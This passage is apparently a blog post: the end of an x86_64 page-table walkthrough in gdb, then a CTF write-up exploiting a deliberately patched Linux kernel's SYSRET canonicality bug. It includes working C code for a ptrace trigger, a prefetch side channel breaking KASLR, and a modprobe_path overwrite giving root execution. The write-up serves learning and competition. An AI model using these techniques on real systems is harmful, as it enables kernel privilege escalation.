At this level we need to start paying attention to the Size Bit (bit 7), because if it is a 1GB page we would stop our page walk here.

gef➤  p/x 0x0000000008c34063 & (1<<7)
$49 = 0x0

Seems it is unset on this entry so we will continue page walking.

Notice also that the PUD entry ends in 0x3 and not 0x7 like the previous level, the bottom two bits (present, writeable) are still set but the third bit, the user bit is now unset. That means that usermode accesses to pages belonging to this PUD entry will result in a page fault due to the failed permission check on the access.

The NX bit is still unset, so pages belonging to this PUD can still be executable.

Masking the bits [12, 51) gives us the physical address of the PMD:

gef➤  p/x 0x0000000008c34063 & ~((1ull<<12)-1) & ((1ull<<51)-1)
$50 = 0x8c34000

PMD

The index we got for the PMD based on the virtual address was 70, multiplying 70 by 8 will let us get the byte offset into the PMD that the PMD entry for our virtual address starts at:

gef➤  p/x 70*8
$51 = 0x230

adding that offset to the PMD’s physical address gets us the physical address of the PMD entry:

gef➤  p/x 0x8c34000+0x230
$52 = 0x8c34230

and reading the physical memory at that address gets us the PMD entry itself:

gef➤  monitor xp/gx 0x8c34230
0000000008c34230: 0x8000000008c001e3

Again, at this level we need paying attention to the Size Bit, because if it is a 2MB page we will stop our page walk here.

gef➤  p/x 0x8000000008c001e3 & (1<<7)
$53 = 0x80

Looks like our virtual address refers to a 2MB Huge Page! so the physical address in this PMD entry is the physical address of that Huge Page.

Also, looking at the permission bits, looks like the page is still present and writeable and the user bit is still unset, so this page is only accessible from supervisor mode (ring-0).

Unlike the previous levels, the top bit, the NX bit, is set:

gef➤  p/x 0x8000000008c001e3 & (1ull<<63)
$54 = 0x8000000000000000

So this Huge Page is not executable memory.

Applying a bitmask on bits [21:51) gets us the physical address of the huge page:

gef➤  p/x 0x8000000008c001e3 & ~((1ull<<21)-1) & ((1ull<<51)-1)
$56 = 0x8c00000

Now we need to apply a mask to the virtual address based on 2MB page alignment to get the offset into the Huge Page.

2MB is equivalent to 1<<21 so applying a bitmask of (1ull<<21)-1 will get us the offset:

gef➤  p/x 0xffffffff88c07da8 & ((1ull<<21)-1)
$57 = 0x7da8

Now adding this offset to the base address of the 2MB Huge Page will get us the physical address associated with the virtual address we started with:

gef➤  p/x 0x8c00000 + 0x7da8
$58 = 0x8c07da8

Looks like the Virtual Address: 0xffffffff88c07da8 has a Physical Address of: 0x8c07da8!

checking ourselves

There are a few ways to test that we page walked correctly, an easy check is to just dump the memory at the virtual and physical address and compare them, if they look the same we were probably right:

Physical:

gef➤  monitor xp/10gx 0x8c07da8
0000000008c07da8: 0xffffffff810effb6 0xffffffff88c07dc0
0000000008c07db8: 0xffffffff810f3685 0xffffffff88c07de0
0000000008c07dc8: 0xffffffff8737dce3 0xffffffff88c3ea80
0000000008c07dd8: 0xdffffc0000000000 0xffffffff88c07e98
0000000008c07de8: 0xffffffff8138ab1e 0x0000000000000000

Virtual:

gef➤  x/10gx 0xffffffff88c07da8
0xffffffff88c07da8:	0xffffffff810effb6	0xffffffff88c07dc0
0xffffffff88c07db8:	0xffffffff810f3685	0xffffffff88c07de0
0xffffffff88c07dc8:	0xffffffff8737dce3	0xffffffff88c3ea80
0xffffffff88c07dd8:	0xdffffc0000000000	0xffffffff88c07e98
0xffffffff88c07de8:	0xffffffff8138ab1e	0x0000000000000000

Looks good to me!

Another way to check is using the monitor gva2gpa (guest virtual address to guest physical address) command exposed to gdb by the QEMU Monitor:

gef➤  monitor gva2gpa 0xffffffff88c07da8
gpa: 0x8c07da8

Assuming QEMU is doing address translation correctly (probably a fair assumption), then looks like we have double confirmation that our page walk was successful!

wrapping up

Hopefully by the end of this you have a pretty solid understanding of how paging works on x86_64 systems. I wanted to pack a lot of information into the post so it took some thought to figure out how to organize all of it and I’m still not sure if this was a great way to go about it.

Anyways, I think paging is pretty neat and I think its one of those things where once you get it you’ve got it, but getting to that point can take some time and some screwing around in gdb.

I’d also like to mention that the inspiration for the diagrams of the various page table entries I made for this post came from the documentation of the blink project: blink/machine.h.

Thanks for reading!

As described by the challenge text, sysruption is about:

A hardware quirk, a micro-architecture attack, and a kernel exploit all in one!

So pretty much a combination of my favorite research topics :D

Plus it had this sick motd!

  ██████ ▓██   ██▓  ██████  ██▀███   █    ██  ██▓███  ▄▄▄█████▓ ██▓ ▒█████   ███▄    █
▒██    ▒  ▒██  ██▒▒██    ▒ ▓██ ▒ ██▒ ██  ▓██▒▓██░  ██▒▓  ██▒ ▓▒▓██▒▒██▒  ██▒ ██ ▀█   █
░ ▓██▄     ▒██ ██░░ ▓██▄   ▓██ ░▄█ ▒▓██  ▒██░▓██░ ██▓▒▒ ▓██░ ▒░▒██▒▒██░  ██▒▓██  ▀█ ██▒
  ▒   ██▒  ░ ▐██▓░  ▒   ██▒▒██▀▀█▄  ▓▓█  ░██░▒██▄█▓▒ ▒░ ▓██▓ ░ ░██░▒██   ██░▓██▒  ▐▌██▒
▒██████▒▒  ░ ██▒▓░▒██████▒▒░██▓ ▒██▒▒▒█████▓ ▒██▒ ░  ░  ▒██▒ ░ ░██░░ ████▓▒░▒██░   ▓██░
▒ ▒▓▒ ▒ ░   ██▒▒▒ ▒ ▒▓▒ ▒ ░░ ▒▓ ░▒▓░░▒▓▒ ▒ ▒ ▒▓▒░ ░  ░  ▒ ░░   ░▓  ░ ▒░▒░▒░ ░ ▒░   ▒ ▒
░ ░▒  ░ ░ ▓██ ░▒░ ░ ░▒  ░ ░  ░▒ ░ ▒░░░▒░ ░ ░ ░▒ ░         ░     ▒ ░  ░ ▒ ▒░ ░ ░░   ░ ▒░
░  ░  ░   ▒ ▒ ░░  ░  ░  ░    ░░   ░  ░░░ ░ ░ ░░         ░       ▒ ░░ ░ ░ ▒     ░   ░ ░
      ░   ░ ░           ░     ░        ░                        ░      ░ ░           ░
          ░ ░

dist: patch bzImage initramfs kconfig

exploit: exploit.c exploit

patchwork

Looking at what was provided for the challenge, there are some kernel files and a run script along with a patchfile.

Here are the contents of the patch:

--- orig_entry_64.S
+++ linux-6.3.4/arch/x86/entry/entry_64.S
@@ -150,13 +150,13 @@
 	ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
 		"shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
 #else
-	shl	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
-	sar	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
+	# shl	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
+	# sar	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
 #endif

 	/* If this changed %rcx, it was not canonical */
-	cmpq	%rcx, %r11
-	jne	swapgs_restore_regs_and_return_to_usermode
+	# cmpq	%rcx, %r11
+	# jne	swapgs_restore_regs_and_return_to_usermode

 	cmpq	$__USER_CS, CS(%rsp)		/* CS must match SYSRET */
 	jne	swapgs_restore_regs_and_return_to_usermode

So what is going on here?

The first set of lines which are commented out are doing arithmetic shifts on rcx, the register holding the userspace rip.

The following lines then check if those shifts modified rcx, and if it did it will jump to the a different exit path swapgs_restore_regs_and_return_to_usermode instead of continuing in entry_SYSCALL_64.

Without needing to look into what the shifts are doing, it is pretty clear from the comment that this change is just removing the address canonicality checks on the userspace rip.

A look at the context of this patch reveals an even more helpful comment in the source:

/*
 * On Intel CPUs, SYSRET with non-canonical RCX/RIP will #GP
 * in kernel space.  This essentially lets the user take over
 * the kernel, since userspace controls RSP.
 *
 * If width of "canonical tail" ever becomes variable, this will need
 * to be updated to remain correct on both old and new CPUs.
 *
 * Change top bits to match most significant bit (47th or 56th bit
 * depending on paging mode) in the address.
 */

So removing the canonicality checks, as this patch does, theoretically should reintroduce the Intel SYSRET bug and let us “take over the kernel”, sounds fun.

sysret background

I was already familiar with this bug as I had actually looked into a while back after my professor for advanced operating systems mentioned it, so I had a pretty immediate understanding of what was going on here. But I’d like to give some background based on my understanding of the bug for those who arent familiar.

Essentially, the sysret bug is about a difference between how AMD and Intel implement the sysret instruction. Though I should note that while I think most people would consider this a bug in Intel’s implementation of sysret, Intel does not since it behaves according to their specifications, which… I guess?

Here are snippets of pseudocode for sysret from the Intel and AMD manuals:

------------------ INTEL -------------------|-------------------  AMD ----------------------
...                                         | ...
IF (operand size is 64-bit)                 | SYSRET_64BIT_MODE:
    THEN (* Return to 64-Bit Mode *)        | IF (OPERAND_SIZE == 64) {
    IF (RCX is not canonical) THEN #GP(0);  | {
        RIP := RCX;                         |      CS.sel = (MSR_STAR.SYSRET_CS + 16) OR 3
    ELSE (* Return to Compatibility Mode *) |      ...
        RIP := ECX;                         | }
FI;                                         | ...
...                                         | RIP = temp_RIP
CS.Selector := CS.Selector OR 3;            | EXIT
            (* RPL forced to 3 *)           |
...                                         |

The important part here is that the canonicality check on Intel occurs BEFORE the CS selector is set, whereas on AMD there is no builtin canonicality check in the instruction but it will be checked AFTER the CS selector is set when the cpu attempts to fetch the next instruction. The CS selector determines the current privilege level (CPL), CPL 0 is kernel mode and CPL 3 is user mode.

So on Intel CPUs when sysret is executed with a non-canonical instruction pointer a General Protection (GP) fault will be raised in kernel mode!

But on AMD CPUs when sysret is executed with a non-canonical instruction pointer a GP will occur on instruction fetch in user mode.

But why does this distinction matter? well, the issue is in how faults from different privilege levels are handled. On x86 when a fault occurs in CPL 3 the stack pointer will be set to a value defined in the TSS depending on what Desired Privilege Level (DPL) is defined for that fault in the Interrupt Descriptor Table (IDT):

Although hardware task-switching is not supported in 64-bit mode, a 64-bit task state segment (TSS) must exist.
Figure 8-11 shows the format of a 64-bit TSS. The TSS holds information important to 64-bit mode and that is not
directly related to the task-switch mechanism. This information includes:
• RSPn — The full 64-bit canonical forms of the stack pointers (RSP) for privilege levels 0-2.
• ISTn — The full 64-bit canonical forms of the interrupt stack table (IST) pointers.
• I/O map base address — The 16-bit offset to the I/O permission bit map from the 64-bit TSS base.

Intel SDM Volume 3 Ch. 8 Section 7: Task Management in 64-Bit Mode

But these stacks are only used when changing from a lower CPL to a higher CPL, if a fault occurs in a CPL greater than or equal to the the desired privilege level DPL for that fault, the current stack is used.

This becomes a problem on Intel CPUs because the the GP occurs at CPL 0 and the IDT descriptor for GP has DPL 0 so no privilege level change occurs, meaning instead of moving to the RSP0 stack pointer from the TSS, as would happen with a fault from user space, the fault will behave as a fault from kernel space and use the current (user controlled) stack pointer. So with a non-canonical instruction pointer the stack location when entering the GP fault handler will be a user controlled address.

Phew, x86 sure is something.

triggering the bug

But how do you even reach sysret with a non-canonical instruction pointer? After all you need to have execute system call to be in entry_SYSCALL_64 in the first place, so you can’t just jump to a non-canonical address or something since that won’t ever hit sysret.

I had a few ideas of how to go about this, one I had heard about here was to map the last page before the non-canonical address gap and execute a syscall instruction at the end of that page which would cause rip to be incremented to a non-canonical address when executed, but it seems Linux does not let you map that page. Another idea I had was to use sigreturn to set the user space rip to a non-canonical address which probably would have worked, but I ended up finding a poc to trigger the bug using ptrace related to this blog on a Linux CVE the author found involving sysret.

This poc worked to trigger the bug almost immediately after some fixing up, but the exploitation was far from done.

Cleaned up poc:

void do_sysret(uint64_t addr, struct user_regs_struct *regs_arg) {
    struct user_regs_struct regs;
    int status;
    pid_t chld;

    memcpy(&regs, regs_arg, sizeof(regs));

    if ((chld = fork()) < 0) {
        perror("fork");
        exit(1);
    }

    if (chld == 0) {
        if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
            perror("PTRACE_TRACEME");
            exit(1);
        }

        raise(SIGSTOP);
        fork();
        return 0;
    }

    waitpid(chld, &status, 0);

    ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
    ptrace(PTRACE_CONT, chld, 0, 0);

    waitpid(chld, &status, 0);

    regs.rip = 0x8000000000000000; // not-canonical
    regs.rcx = 0x8000000000000000; // not-canonical
    regs.rsp = addr;

    // necessary stuff
    regs.eflags = 0x246;
    regs.r11 = 0x246;
    regs.ss = 0x2b;
    regs.cs = 0x33;

    ptrace(PTRACE_SETREGS, chld, NULL, &regs);
    ptrace(PTRACE_CONT, chld, 0, 0);
    ptrace(PTRACE_DETACH, chld, 0, 0);
}

The whole point of triggering this bug is to cause memory corruption through the register dump that occurs in the GP handler, so I tried setting my stack pointer to some writeable kernel data structures to see if I could hijack them. Stepping through the GP handler I could see that it did exactly that! until it all came crashing down…

surviving the bug

Triggering the bug with a target kernel address in rsp was failing because of a double fault caused by the GP handler unexpectedly executing with user space’s gsbase.

The gsbase register is used on Linux to access percpu variables. In the Linux source code it is used by the current macro to locate the current task struct, for example. On kernel entry and exit the swapgs instruction is executed to switch back and forth between the kernel and user gsbase values since user space is allowed to use a gs segment as well.

e.g. in entry_SYSCALL_64:

entry_SYSCALL_64:
    swapgs
    mov    QWORD PTR gs:0x6014,rsp
...
    swapgs
    sysretq

But since swapgs was executed right before sysret and the GP handler sees that the GP was from kernel mode (CPL was 0) swapgs is not executed again in the GP handler, meaning it executes with a userspace gsbase. This becomes a problem when the GP handler tries to access percpu variables since user space gsbase is usually unused and set to zero so that results in a pagefault.

Lets take a deeper look at what is going on in the GP handler.

asm_exc_general_protection:
    cld
    call   error_entry
    mov    rsp,rax
    mov    rdi,rsp
    mov    rsi,QWORD PTR [rsp+0x78]
    mov    QWORD PTR [rsp+0x78],0xffffffffffffffff
    call   exc_general_protection
    jmp    error_return

When a GP occurs, execution is redirected to the handler above, which immediately calls into error_entry. The error_entry function is pretty generic and shared across many of the fault/trap handlers of the kernel, the start of error_entry is:

error_entry:
    push   rsi
    mov    rsi,QWORD PTR [rsp+0x8]
    mov    QWORD PTR [rsp+0x8],rdi
    push   rdx
    push   rcx
    push   rax
    push   r8
    push   r9
    push   r10
    push   r11
    push   rbx
    push   rbp
    push   r12
    push   r13
    push   r14
    push   r15
    push   rsi
...

The start of error entry is what handles storing the registers for interrupts, this is the memory corruption we are trying to exploit, all general purpose registers will be pushed to the stack pointer we control.

Here is where in error entry swapgs is skipped if we entered from kernel space.

error_entry:
...
    test   BYTE PTR [rsp+0x90],0x3 <-- CPL & 3?
    jz     0xffffffff81c014b2      <-- skip swapgs if 0
    swapgs
...

And this is where the gs segment is first used, causing the system to double fault.

exc_general_protection:
    push   r13
    mov    r13,rsi
    push   r12
    push   rbp
    mov    rbp,rdi
    push   rbx
    sub    rsp,0x70
    mov    rax,QWORD PTR gs:0x28 <-- fault here :(

So how can we survive this?

In the ptrace sysret blog, the author survives the double fault by targeting the IDT in order to hijack the page fault handler to userspace. Unfortunately, we are living in the future meaning we don’t have a writeable IDT and SMEP would anyways prevent us from executing off a user space page. So I had to find some other way to survive triggering the bug.

Well the gsbase causing the fault belongs to userspace, but can we control our own gsbase? can we make it point to a kernel address?

My first attempt was to have ptrace set gsbase since I was already using ptrace to set the registers, but as it turns out ptrace will not set gsbase if the address is greater than TASK_SIZE_MAX (greater than the max user space address).

    case offsetof(struct user_regs_struct,gs_base):
        if (value >= TASK_SIZE_MAX) <-- sad
            return -EIO;
        x86_gsbase_write_task(child, value);
        return 0;

The same is true of arch_prctl(ARCH_SET_GS) as well…

Luckily x86 has an extension called fsgsbase that is commonly enabled, which lets gsbase be set from user space via the wrgsbase instruction!

asm volatile("wrgsbase %0" : : "r" (gsbase));

So if I just use this instruction to modify user space gsbase in the process triggering the sysret bug and I should survive the fault!

Except… not quite. I first tried setting it to a random read/write kernel address and that got me a little further, but the percpu data contains pointers that the kernel will try to dereference which just becomes double faulting again.

So setting it to some random address wasn’t going to cut it, I figured the most stable option would be to just set user space gsbase to kernel gsbase so that when the vulnerability triggered the kernel would be running with the gsbase it expected.

One small problem, kernel gsbase is in physmap… how am I supposed to know where that is? and while I’m at it how am I supposed to know where the kernel itself is? I had been debugging with KASLR disabled, but for remote I’ll need leaks somehow…

Breaking KASLR

So given that triggering the vulnerability will crash the system if the address pointed to by stack pointer is unmapped or gsbase is wrong, how can KASLR be broken independent of this vulnerability? the answer lies in the micro-architecture.

KASLR has been publicly broken for all Intel cpus since 2016. The techinque was discovered by Gruss et al. in 2016 and is referred to as a Prefetch Attack as it relies on the timing variance of the x86 prefetch instructions when executed against cached kernel address translations.

For a simple implementation of a prefetch attack I reached for the entrybleed poc, which is just a specific use of a prefetch attack for breaking KASLR when KPTI is enabled but the same code works with KPTI disabled as well. This was enough to break KASLR of the kernel image, but I still needed to break physmap KASLR to be able to survive the use of percpu variables…

But that was simple enough, all I had to do was define some ranges and step sizes that work for physmap and add a flag to choose which randomization I want to break.

// largely based on: https://www.willsroot.io/2022/12/entrybleed.html

#define KERNEL_LOWER_BOUND 0xffffffff80000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull

#define STEP_KERNEL 0x100000ull
#define SCAN_START_KERNEL KERNEL_LOWER_BOUND
#define SCAN_END_KERNEL KERNEL_UPPER_BOUND
#define ARR_SIZE_KERNEL (SCAN_END_KERNEL - SCAN_START_KERNEL) / STEP_KERNEL

#define PHYS_LOWER_BOUND 0xffff888000000000ull
#define PHYS_UPPER_BOUND 0xfffffe0000000000ull

#define STEP_PHYS 0x40000000ull
#define SCAN_START_PHYS PHYS_LOWER_BOUND
#define SCAN_END_PHYS PHYS_UPPER_BOUND
#define ARR_SIZE_PHYS (SCAN_END_PHYS - SCAN_START_PHYS) / STEP_PHYS

#define DUMMY_ITERATIONS 5
#define ITERATIONS 100

uint64_t sidechannel(uint64_t addr) {
  uint64_t a, b, c, d;
  asm volatile (".intel_syntax noprefix;"
    "mfence;"
    "rdtscp;"
    "mov %0, rax;"
    "mov %1, rdx;"
    "xor rax, rax;"
    "lfence;"
    "prefetchnta qword ptr [%4];"
    "prefetcht2 qword ptr [%4];"
    "xor rax, rax;"
    "lfence;"
    "rdtscp;"
    "mov %2, rax;"
    "mov %3, rdx;"
    "mfence;"
    ".att_syntax;"
    : "=r" (a), "=r" (b), "=r" (c), "=r" (d)
    : "r" (addr)
    : "rax", "rbx", "rcx", "rdx");
  a = (b << 32) | a;
  c = (d << 32) | c;
  return c - a;
}

uint64_t prefetch(int phys)
{
    uint64_t arr_size = ARR_SIZE_KERNEL;
    uint64_t scan_start = SCAN_START_KERNEL;
    uint64_t step_size = STEP_KERNEL;
    if (phys) {
	    arr_size = ARR_SIZE_PHYS;
	    scan_start = SCAN_START_PHYS;
	    step_size = STEP_PHYS;
    }

    uint64_t *data = malloc(arr_size * sizeof(uint64_t));
    memset(data, 0, arr_size * sizeof(uint64_t));

    uint64_t min = ~0, addr = ~0;

    for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) {
        for (uint64_t idx = 0; idx < arr_size; idx++)
        {
            uint64_t test = scan_start + idx * step_size;
            syscall(104);
            uint64_t time = sidechannel(test);
            if (i >= DUMMY_ITERATIONS)
                data[idx] += time;
        }
    }

    for (int i = 0; i < arr_size; i++) {
        data[i] /= ITERATIONS;
        if (data[i] < min)
        {
            min = data[i];
            addr = scan_start + i * step_size;
        }
    }

    free(data);

    return addr;
}

int main(int argc, char **argv) {
    struct user_regs_struct regs;

    uint64_t kaslr = prefetch(0) - 0xc00000;
    uint64_t phys = prefetch(1) - 0x100000000;

    printf("KERNEL base %lx\n", kaslr);
    printf("PHYS base %lx\n", phys);
}

And boom! KASLR in shambles!

ctf@corctf:~$ /tmp/exploit
KASLR base ffffffffb5c00000
PHYS base ffff8d9000000000

escalating privileges

With KASLR broken I could set gsbsase to its original value before which gave me a fairly stable way to trigger the sysret bug and survive.

So now the goal is to use the memory corruption from the error_entry function I mentioned previously to corrupt some kernel memory with controlled values. I figured that the easiest target would be overwriting modprobe_path, a great description of this techinque can be found here. Basically overwriting this kernel variable with a path to a file I control the contents of will lead to it being executed as root when a file with an unrecognized header is executed.

int main(int argc, char **argv) {
    struct user_regs_struct regs;

    kaslr = prefetch(0) - 0xc00000;
    phys = prefetch(1) - 0x100000000;

    printf("KASLR base %lx\n", kaslr);
    printf("PHYS base %lx\n", phys);

    gsbase = phys + 0x13bc00000;
    printf("gsbase: %#lx\n", gsbase);

    // create trigger file for modprobe
    system("echo -ne \"\xff\xff\xff\xff\" >> /tmp/bad");
    system("chmod 777 /tmp/bad");

    uint64_t modprobe_path = kaslr + 0x103b840;

    // fill registers with new modprobe path
    uint64_t new_modprobe = 0x0000612f706d742f; // /tmp/a
    for (int i = 0; i < sizeof(regs)/sizeof(new_modprobe); i++) {
	    ((uint64_t *)&regs)[i] = new_modprobe;
    }

    // position register dump over modprobe_path
    do_sysret(modprobe_path + 0xa8, &regs);
}

I setup the ptrace registers to be filled with the bytes b”/tmp/a\0\0” to overwrite the default modprobe_path and triggered the sysret bug with a stack pointer that cause the registers are pushed on top of the modprobe_path variable.

gef➤  x/20gx &modprobe_path
0xffffffff8203b840 <modprobe_path>:     0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b850 <modprobe_path+16>:  0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b860 <modprobe_path+32>:  0x0000612f706d742f      0x0000000000000246
0xffffffff8203b870 <modprobe_path+48>:  0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b880 <modprobe_path+64>:  0x0000612f706d742f      0x0000000000000052
0xffffffff8203b890 <modprobe_path+80>:  0x8000000000000000      0x0000612f706d742f
0xffffffff8203b8a0 <modprobe_path+96>:  0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b8b0 <modprobe_path+112>: 0xffffffffffffffff      0xffffffff81a00191
0xffffffff8203b8c0 <modprobe_path+128>: 0x0000000000000010      0x0000000000010046
0xffffffff8203b8d0 <modprobe_path+144>: 0xffffffff8203b8e8      0x0000000000000018
gef➤  x/s &modprobe_path
0xffffffff8203b840 <modprobe_path>:     "/tmp/a"

Incredibly, nothing crashed… yet…

I had created a file at /tmp/a to be executed when I ran the trigger file with a bad header, but when I executed it a page fault occurred and prevented the file at the hijacked modprobe path from being executed…

It turns out I had corrupted more than just modprobe path… at this point I tried a bunch of different offsets of the modprobe_path variable hoping one of them might ‘just work’ but had no such luck, I even gave up on modprobe_path at one point and started exploring hijacking core_pattern and even seeing if I could safely corrupt a cred struct. None of those ended up working out, for a brief second I considered that maybe I should stop being lazy and just rop. But then I had another idea, what if I could just fix the corruption… with more corruption?

Lets take a closer at what was going wrong when I tried to corrupt modprobe_path.

This is the trace the kernel prints when I tried to trigger modprobe:

[    5.095502] BUG: unable to handle page fault for address: ffffffff00000208
[    5.096822] #PF: supervisor read access in kernel mode
[    5.098019] #PF: error_code(0x0000) - not-present page
[    5.098661] PGD 202e067 P4D 202e067 PUD 0
[    5.099171] Oops: 0000 [#2] PREEMPT SMP NOPTI
[    5.099704] CPU: 0 PID: 27 Comm: kworker/u2:1 Tainted: G      D            6.3.4 #14
[    5.100631] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.16.2-1-1 04/014
[    5.101765] Workqueue: events_unbound call_usermodehelper_exec_work
[    5.102522] RIP: 0010:inc_rlimit_ucounts+0x31/0x70
[    5.103129] Code: f0 48 89 f9 45 31 d2 49 b9 ff ff ff ff ff ff ff 7f 4a 8d 34 c5 70 00 00 00 49 83 8
[    5.105340] RSP: 0018:ffffc900000e3cb8 EFLAGS: 00010282
[    5.105977] RAX: ffffffff00000028 RBX: ffff888100964ec0 RCX: ffffffff8203b6c0
[    5.106850] RDX: 0000000000000001 RSI: 0000000000000070 RDI: ffffffff8203b6c0
[    5.107914] RBP: ffffffff8203b6c0 R08: 0000000000000046 R09: 7fffffffffffffff
[    5.108776] R10: 7fffffffffffffff R11: 0000000000000025 R12: 0000000000000000
[    5.110192] R13: ffffc900000e3df0 R14: 00000000ffffffff R15: 0000000000800100
[    5.111701] FS:  0000000000000000(0000) GS:ffff88813bc00000(0000) knlGS:0000000000000000
[    5.112934] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.113974] CR2: ffffffff00000208 CR3: 0000000100ad2002 CR4: 0000000000370ef0
[    5.115356] Call Trace:
[    5.115679]  <TASK>
[    5.115953]  copy_creds+0xb8/0x160
[    5.116388]  copy_process+0x3c6/0x19b0
[    5.116860]  kernel_clone+0x96/0x350
[    5.117313]  ? update_load_avg+0x5f/0x610
[    5.117814]  ? update_load_avg+0x5f/0x610
[    5.118316]  user_mode_thread+0x56/0x80
[    5.118788]  ? __pfx_call_usermodehelper_exec_async+0x10/0x10
[    5.119512]  call_usermodehelper_exec_work+0x2a/0x80
[    5.120120]  process_one_work+0x1b1/0x340
[    5.120616]  worker_thread+0x45/0x3b0
[    5.121063]  ? __pfx_worker_thread+0x10/0x10
[    5.121603]  kthread+0xd1/0x100
[    5.121996]  ? __pfx_kthread+0x10/0x10
[    5.122464]  ret_from_fork+0x29/0x50
[    5.122923]  </TASK>

It crashed somewhere in inc_rlimit_ucounts, I had no clue why so I set a breakpoint at it, restarted the vm, and ran tried to trigger the bug again.

0xffffffff8109e9b1 in inc_rlimit_ucounts ()
   0xffffffff8109e9a6 <inc_rlimit_ucounts+38> cmp    rdi, rcx
   0xffffffff8109e9a9 <inc_rlimit_ucounts+41> cmove  r10, rax
   0xffffffff8109e9ad <inc_rlimit_ucounts+45> mov    rax, QWORD PTR [rcx+0x10]
 → 0xffffffff8109e9b1 <inc_rlimit_ucounts+49> mov    rcx, QWORD PTR [rax+0x1e0]
   0xffffffff8109e9b8 <inc_rlimit_ucounts+56> mov    r9, QWORD PTR [rax+r8*8+0x8]
   0xffffffff8109e9bd <inc_rlimit_ucounts+61> test   rcx, rcx
   0xffffffff8109e9c0 <inc_rlimit_ucounts+64> je     0xffffffff8109e9e4 <inc_rlimit_ucounts+100>
   0xffffffff8109e9c2 <inc_rlimit_ucounts+66> mov    rax, rdx
   0xffffffff8109e9c5 <inc_rlimit_ucounts+69> ds     xadd QWORD PTR [rcx+rsi*1], rax

This instruction is what crashes, it is dereferencing some value it got from the address in rcx, so what is rcx?

gef➤  x/20gx $rcx
0xffffffff8203b6c0 <init_ucounts>:      0x0000000000000000      0xffffffff810c50b3
0xffffffff8203b6d0 <init_ucounts+16>:   0xffffffff00000028      0x000000008203b730
0xffffffff8203b6e0 <init_ucounts+32>:   0xffffffff8203b6f0      0x18581c54482e2a00
0xffffffff8203b6f0 <init_ucounts+48>:   0x18581c54482e2a00      0xffffffff81e99724
0xffffffff8203b700 <init_ucounts+64>:   0x00007fffade979fc      0x0000000100ad0001
0xffffffff8203b710 <init_ucounts+80>:   0x0000000000370ef0      0xffffffff8203b5f0
0xffffffff8203b720 <init_ucounts+96>:   0xffffffff81e99724      0xffffffff81024f2d
0xffffffff8203b730 <init_ucounts+112>:  0xffff88813bc00001      0x000000000000016e
0xffffffff8203b740 <init_ucounts+128>:  0x0000000080050033      0x0000000000000046

Looks like rcx is the address of init_ucounts I don’t really know what this is for, but I see a user space stack address in there so I’m guessing I accidentally corrupted this…

And it is right up against modprobe_path, so definitely my fault.

gef➤  p/x (void*)&modprobe_path - (void*)&init_ucounts
$17 = 0x180

So I figured what if I could just use more corruption by triggering the sysret bug again to uncorrupt init_ucounts.

gef> x/20gx &init_ucounts
0xffffffff8203b6c0 <init_ucounts>:      0xffff888100049600	0xffffffff82640160
0xffffffff8203b6d0 <init_ucounts+16>:	0xffffffff8203a320	0x0000002f00000000
0xffffffff8203b6e0 <init_ucounts+32>:	0x0000000000000000	0x0000000000000000
0xffffffff8203b6f0 <init_ucounts+48>:	0x0000000000000000	0x0000000000000000
0xffffffff8203b700 <init_ucounts+64>:	0x0000000000000000	0x0000000000000000
0xffffffff8203b710 <init_ucounts+80>:	0x0000000000000000	0x0000000000000000
0xffffffff8203b720 <init_ucounts+96>:	0x0000000000000000	0x0000000000000000
0xffffffff8203b730 <init_ucounts+112>:	0x000000000000002a	0x0000000000000000
0xffffffff8203b740 <init_ucounts+128>:	0x0000000000000000	0x0000000000000000

Above is what init_ucounts looks like just after boot, I just had to make it look somewhat like that again hopefully the faults would just go away.

...
    // fixup corrupted init_ucounts
    regs.rbp = 0x0000002d00000000;
    regs.r12 = kaslr + 0x103a320;
    regs.r13 = kaslr + 0x1640160;
    regs.r14 = phys + 0x100049600;

    // position register dump over init_ucounts
    do_sysret(modprobe_path-0xd8, &regs);
...

I set up the regisers for ptrace so that the four qwords that are actually set would be set back to their initial values, and gave it a go:

gef> x/20gx &init_ucounts
0xffffffff8203b6c0 <init_ucounts>:      0xffff888100049600      0xffffffff82640160
0xffffffff8203b6d0 <init_ucounts+16>:   0xffffffff8203a320      0x0000002e00000000
0xffffffff8203b6e0 <init_ucounts+32>:   0x0000612f706d742f      0x0000000000000246
0xffffffff8203b6f0 <init_ucounts+48>:   0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b700 <init_ucounts+64>:   0x0000612f706d742f      0x0000000000000054
0xffffffff8203b710 <init_ucounts+80>:   0x8000000000000000      0x0000612f706d742f
0xffffffff8203b720 <init_ucounts+96>:   0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b730 <init_ucounts+112>:  0xffffffffffffffff      0xffffffff81a00191
0xffffffff8203b740 <init_ucounts+128>:  0x0000000000000010      0x0000000000010046

Well, it looks horrible but maybe it is close enough? hopefully?

So I tried triggering my hijacked modprobe_path again, and…

ctf@corctf:~$ /sysret
KASLR base ffffffff81000000
PHYS base ffff888000000000
gsbase: 0xffff88813bc00000
[    5.115530] general protection fault, maybe for address 0x51: 0000 [#1] PREEMPT SMP NOPTI
...
[    5.150788] general protection fault, maybe for address 0x53: 0000 [#2] PREEMPT SMP NOPTI
...
ctf@corctf:~$ /tmp/bad
/tmp/bad: line 1: : not found

I… didn’t crash? It actually worked!?!

I went ahead and added a few more lines to my exploit to automatically create /tmp/a which will copy the flag to /tmp where I can read it.

    // called by modprobe
    system("echo -ne \"#!/bin/sh\ncp /root/flag.txt /tmp/heckyeah\nchown ctf:ctf /tmp/heckyeah\" > /tmp/a");
    system("chmod 777 /tmp/a");

    ...

    // trigger modprobe
